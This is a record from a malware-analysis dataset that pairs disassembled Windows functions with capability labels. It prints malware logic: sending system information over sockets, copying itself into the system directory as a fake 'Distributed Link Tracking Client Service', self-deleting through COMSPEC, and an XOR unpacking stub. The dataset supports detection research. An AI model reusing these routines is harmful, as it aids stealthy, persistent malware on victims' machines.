joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423c83
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0x3e4]
add eax, 1
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp - 0x3e0]
mov edx, dword [ebp - 0x3e4]
cmp edx, dword [ecx + 0x18]
jae 0x423d58
mov eax, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0xe58]
mov edx, dword [ebp - 0x1b8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x3e8], edx
mov eax, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0xe5c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0xe64], ecx
mov dword [ebp - 0xc8], 0
jmp 0x423bbc
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x3e8]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x423c6e
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x494]
test eax, eax
je 0x423c6e
push esi
add esi, 0x6510
xor esi, 0x15f3d
add esi, 0x7ce4
pop esi
push eax
push eax
add esp, 4
sub eax, 0xfc2c
xor eax, 0x402f
pop eax
push eax
push eax
add esp, 4
add eax, 0xc84e
pop eax
mov ecx, dword [ebp - 0x3e8]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x494]
cmp edx, ecx
je 0x423c60
mov edx, dword [ebp - 0x3e8]
add edx, dword [ebp - 0xc8]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0xc8]
movsx edx, byte [ebp + ecx - 0x494]
cmp eax, edx
jne 0x423c67
jmp 0x423bad
jmp 0x423c6e
push edx
push esi
add esp, 4
call fcn.00423c83
add byte [esi + edi + 0x4b], cl
xor al, 0x4e
inc edx
inc eax
cmp al, 0x4e
add esp, 4
or edx, 0x43d2
jmp 0x423c94
pop edx
push esi
jmp 0x423c9f
pop esi
mov eax, dword [ebp - 0x3e8]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xc8]
movsx eax, byte [ebp + edx - 0x494]
cmp ecx, eax
jne 0x423ccd
mov dword [ebp - 0x6d0], 0
jmp 0x423d3c
push edx
push ecx
add esp, 4
and edx, 0x2d45
sub edx, 0x14d3d
pop edx
push esi
add esi, 0x1567d
pop esi
push ebx
push ecx
add esp, 4
sub ebx, 0x8cf0
and ebx, 0x6359
and ebx, 0x10dfc
pop ebx
mov ecx, dword [ebp - 0x3e8]
add ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0xc8]
movsx ecx, byte [ebp + eax - 0x494]
or ecx, 0x20
cmp edx, ecx
jge 0x423d32
mov dword [ebp - 0x6d0], 0xffffffff
jmp 0x423d3c
mov dword [ebp - 0x6d0], 1
cmp dword [ebp - 0x6d0], 0
jne 0x423d53
mov edx, dword [ebp - 0xe64]
mov dword [ebp - 0x250], edx
jmp 0x423d64
jmp 0x423b3d
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x250], eax
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x418], ecx
Function at 0x4249f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esi, 0x17ec5
pop esi
push ebx
call 0x424a05
add byte [edx], bh
inc ebx
xor edi, dword [0x834c3c36]
les eax, [ecx + eax*4]
ret

Function at 0x424a05
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esi, 0x17ec5
pop esi
push ebx
call 0x424a05
add byte [edx], bh
inc ebx
xor edi, dword [0x834c3c36]
les eax, [ecx + eax*4]
ret
Function at 0x47ec16
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x47ec55
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47ec55
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47ec55
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x47ec55
cmp dword [ecx + 0x74], 0xe
jbe 0x47ec55
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x495f3a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4c2198
push 0x4c2190
push str.FlsAlloc
push 0x1f
call fcn.00495da5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x495f6e
push dword [ebp + 8]
mov ecx, esi
call dword [0x4b37cc]
call esi
jmp 0x495f74
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x495fb8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4c21a8
push 0x4c21a0
push str.FlsGetValue
push 0x21
call fcn.00495da5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x495fef
push dword [ebp + 8]
mov ecx, esi
call dword [0x4b37cc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x495ff9
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4c21b0
push 0x4c21a8
push str.FlsSetValue
push 0x22
call fcn.00495da5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x496033
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4b37cc]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4a2000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4a202d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4a202d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401db0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x2854], eax
jne 0x401dd4
xor eax, eax
pop esi
add esp, 0x10
ret
mov cx, word [esi + 0x2840]
xor eax, eax
mov dword [esp + 4], eax
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esi + 0x2830]
mov word [esp + 6], ax
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esi + 0x2854]
mov dword [esp + 8], eax
lea eax, [esp + 4]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop esi
add esp, 0x10
ret
Function at 0x4043b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, ecx
push edi
push 0x20
lea edi, [esi + 0x2410]
push edi
push eax
call fcn.00402280
mov eax, dword [esi + 0x2844]
add esp, 0xc
cmp eax, 9
jl 0x4043e2
mov dword [esi + 0x2844], 1
jmp 0x4043e9
inc eax
mov dword [esi + 0x2844], eax
mov edx, dword [esp + 0x14]
test edx, edx
je 0x404438
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebp, [esi + 0x2430]
push 0x400
push ecx
push ebp
push edx
call fcn.00401bb0
mov ecx, dword [esi + 0x2844]
add esp, 0x10
lea eax, [esi + 0x2410]
lea ebx, [esi + 4]
push ebp
push eax
push ecx
push str._d_s_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop ebp
jmp 0x404452
mov edx, dword [esi + 0x2844]
push edi
lea ebx, [esi + 4]
push edx
push str._d_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [esi + 0x2854]
cmp edx, 0xffffffff
je 0x404490
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x404490
mov eax, dword [esi + 0x2854]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x2854], 0xffffffff
pop edi
pop esi
pop ebx
ret 8
Function at 0x409910
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xc60], eax
jne 0x409934
xor eax, eax
pop esi
add esp, 0x10
ret
mov cx, word [esi + 0xc40]
xor eax, eax
mov dword [esp + 4], eax
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esi + 0xc30]
mov word [esp + 6], ax
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esi + 0xc60]
mov dword [esp + 8], eax
lea eax, [esp + 4]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop esi
add esp, 0x10
ret

Function at 0x4099a0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, ecx
push edi
push 0x20
lea edi, [esi + 0x810]
push edi
push eax
call fcn.00402280
mov eax, dword [esi + 0xc50]
add esp, 0xc
cmp eax, 9
jl 0x4099d2
mov dword [esi + 0xc50], 1
jmp 0x4099d9
inc eax
mov dword [esi + 0xc50], eax
mov edx, dword [esp + 0x14]
test edx, edx
je 0x409a28
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebp, [esi + 0x830]
push 0x400
push ecx
push ebp
push edx
call fcn.00401bb0
mov ecx, dword [esi + 0xc50]
add esp, 0x10
lea eax, [esi + 0x810]
lea ebx, [esi + 4]
push ebp
push eax
push ecx
push str._d_s_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop ebp
jmp 0x409a42
mov edx, dword [esi + 0xc50]
push edi
lea ebx, [esi + 4]
push edx
push str._d_s_
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [esi + 0xc60]
cmp edx, 0xffffffff
je 0x409a80
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409a80
mov eax, dword [esi + 0xc60]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0xc60], 0xffffffff
pop edi
pop esi
pop ebx
ret 8
Function at 0x40b3d0
Capabilities:
Check os version
Get memory capacity
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x40c19b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push esi
push edi
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], 0x94
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
or esi, 0xffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [esp + 0x30]
cmp eax, 5
jne 0x40b4b5
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x40b42c
xor esi, esi
jmp 0x40b4bf
cmp eax, 1
jne 0x40b4a9
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0xc]
call fcn.0040bf16
lea ecx, [esp + 8]
mov dword [esp + 0x12c], 0
call sub.MFC42.DLL_CString::FreeExtra
push str.Service
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40b48e
push str.Pack
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40b48e
push 0x40ef10
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
test eax, eax
mov esi, 2
jge 0x40b493
mov esi, 1
lea ecx, [esp + 8]
mov dword [esp + 0x12c], 0xffffffff
call sub.MFC42.DLL_CString::CString
jmp 0x40b4bf
cmp eax, 2
jne 0x40b4bf
mov esi, 3
jmp 0x40b4bf
cmp eax, 6
jne 0x40b4bf
mov esi, 4
lea edx, [esp + 0xc]
mov dword [esp + 0xc], 0x20
push edx
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xc0]
shr eax, 0x14
inc eax
push eax
push esi
push str.tenan:_d_d
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0xd0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x134]
push 0
not ecx
dec ecx
lea edx, [esp + 0xc4]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x124]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x128
ret
Function at 0x40b540
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
push edi
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x124]
push 0x321
rep stosd dword es:[edi], eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x40f24c
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x40b5bc
push 0x40f24c
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40b6a9
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
lea edi, [esp + 0x14]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x10], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40b6a9
lea ecx, [esp + 0x10]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40b6a9
push esi
call fcn.0040b3d0
mov ebx, dword [sym.imp.WS2_32.dll_select]
add esp, 4
lea ebp, [esi + 1]
push 0
push 0
lea edx, [esp + 0x28]
push 0
push edx
push ebp
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], 1
call ebx
cmp eax, 0xffffffff
je 0x40b6a2
test eax, eax
je 0x40b6a2
lea eax, [esp + 0x20]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40b682
push 0
lea ecx, [esp + 0x128]
push 0x200
push ecx
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40b6a2
lea edx, [esp + 0x124]
push edx
call fcn.0040aa30
add esp, 4
test eax, eax
je 0x40b682
push 0
push 2
push 0x40ef24
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40b682
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40b6a2
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x124]
push 0x1f4
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40b5fc
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret
Function at 0x40b900
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x40ba6d
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x40ba6d
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x40ba6d
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40ba5f
mov edx, dword [esp + 0x10]
push pe_nt_image_headers32
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x40ba80
Capabilities:
Copy file
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x114
call 0x40bbd0
test eax, eax
je 0x40bac5
lea eax, [esp]
mov dword [esp], str.DLTCSC
push eax
mov dword [esp + 8], 0x40b6c0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
add esp, 0x114
ret 0x10
push esi
push edi
xor esi, esi
push 0x104
push 0x40f128
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40f128
push edx
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x40bb96
mov edi, str.wmipvrse.exe
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x1c]
push 0
push ecx
push 0x40f128
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov ecx, 0x41
xor eax, eax
mov edi, 0x40f128
pop ebx
rep stosd dword es:[edi], eax
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x40f128
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 1
push 0x40ef98
push str.Distributed_Link_Tracking_Client_Service
push str.DLTCSC
call fcn.0040bc70
add esp, 0xc
test esi, esi
pop edi
pop esi
je 0x40baba
call fcn.0040b900
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.DLTCSC
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push edi
xor edi, edi
mov dword [ebp - 0x84], 0
call fcn.00401a1c
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, edi
or al, 0x40
push eax
lea eax, [0x40473d]
lea edx, [fcn.00401a80]
sub eax, edx
push eax
push fcn.00401a80
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x401329
push edi
call fcn.00401905
lea eax, [ebp - 0x84]
push eax
push edi
call fcn.00401953
mov eax, edi
add eax, 0x1c800
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov eax, dword [ebp - 0x88]
xor eax, edi
push eax
lea eax, [0x4060e4]
mov edx, edi
dec edx
and eax, edx
push eax
call fcn.00401a80
add esp, 0x18
xor eax, eax
pop edi
leave
ret

Function at 0x401a1c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x120], 0
xor edi, edi
mov dword [ebp - 0x11c], 0x14
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x118]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringW
movzx eax, word [ebp - 0x118]
mov edi, eax
sub edi, 0x41
mov eax, edi
pop edi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ed0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x75861adb
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x32124672
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219